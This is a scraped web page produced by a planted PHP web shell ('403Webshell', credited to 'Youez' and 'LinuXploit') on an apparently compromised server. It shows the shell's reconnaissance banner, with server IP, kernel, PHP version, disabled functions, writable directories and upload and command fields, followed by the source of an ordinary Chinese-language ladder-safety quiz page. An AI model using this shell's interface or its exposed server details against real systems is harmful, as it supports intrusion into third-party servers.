403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/course_demo/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/hkosl.com/course_demo/view/question.php
<!DOCTYPE html>
<html lang="en">

<head>

    <?php include 'inc/headlinks.php'; ?>
</head>



<body class="bodyBg">
    <div class="questionHeader">
        <p class="h1 title">課程A(CSK23001)</p>
        <div class="courseprogressWrap">
            <div class="courseprogress">
                <div class="bar"></div>
            </div>
            <p class="courseprogressText">題目進度1/10</p>
        </div>

    </div>
    <section class="bodyWrap">

        <div class="w-100">


            <div class="wrap indexWrap">
                <div class="main">



                    <div class="paperWrap">
                        <div class="videoWrap">

                            <video width="100%" class="video" height="100%" playsinline style="pointer-events: none;"
                                poster="../assets/images/video.png?v1232156">
                                <source src="../assets/video/ques-01.mp4" type="video/mp4">
                                <source src="video.webm" type="video/webm">
                                Your browser does not support the video tag.

                            </video>
                            <div class="progress">
                                <span class="timeline"></span>
                            </div>
                        </div>
                        <div class="videoControl">
                            <div>
                                <button class="videoBtn btn"><i class="fas fa-play-circle"></i> 播放</button>
                                <button class="replayBtn btn hide"><i class="fas fa-undo"></i> 重播</button>
                            </div>
                            <p class="text-danger small">**請先按播放看完影片,再作答題目!**</p>
                        </div>
                    </div>
                    <div class="titleWrap mb-1 flex-column">

                        <p class="h5 tips greenFont"><i class="fas fa-exclamation-circle"></i> 題目會在影片完結後出現</p>
                        <div class="questionContent">
                            <div class="questionContentWrap">
                                <div class="questionWrap">
                                    <p class="mb-4 bold">下列那個不是正確使用梯具?</p>
                                    <div class="choiceSelect">
                                        <input type="radio" id="q1" name="question1" value="1">
                                        <label for="q1">
                                            使用清潔梯具
                                    </div>
                                    <div class="choiceSelect">
                                        <input type="radio" id="q2" name="question1" value="2">
                                        <label for="q2">
                                            使用乾爽梯具
                                        </label>
                                    </div>
                                    <div class="choiceSelect">
                                        <input type="radio" id="q3" name="question1" value="3">
                                        <label for="q3">
                                            未乾酒漆梯具
                                        </label>
                                    </div>


                                </div>




                                <div class="btnControl question mt-auto">
                                    <div class="text-danger mb-2"><span class="errMessage"></span></div>
                                    <button class="fancy-button bg-gradient1 submitBtn"><span>下一題</span></button>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </section>



    <script src="../assets/js/custom.js"></script>




    <script>

const bar = document.querySelector(".bar");


$(function() {
    bar.style.setProperty("--progress", "10%");
    $(".title").text("課程題目01");



    $(video).on('ended', function() {
        isPlaying = false;
        toggleBtn.html(`<i class="fas fa-play-circle"></i> 播放`);
        console.log('The video has ended.');
        $(".questionContent").fadeIn();
        $(".replayBtn").removeClass("hide");
        $('.tips').hide();

        // Call a function or execute code here
    });

});



$(".submitBtn").click(function() {
    var selectedValue = $('input[name=question1]:checked').val();

    console.log(selectedValue);
    if (selectedValue == undefined) {

        $(".errMessage").show().text("**請作答題目");
    } else if (selectedValue != 3) {

        $(".errMessage").show().text("**答案錯誤! 請再次作答");


    } else {
        window.location.href = 'success.php';
    }


});




</script>


</body>







</html>

Youez - 2016 - github.com/yon3zu
LinuXploit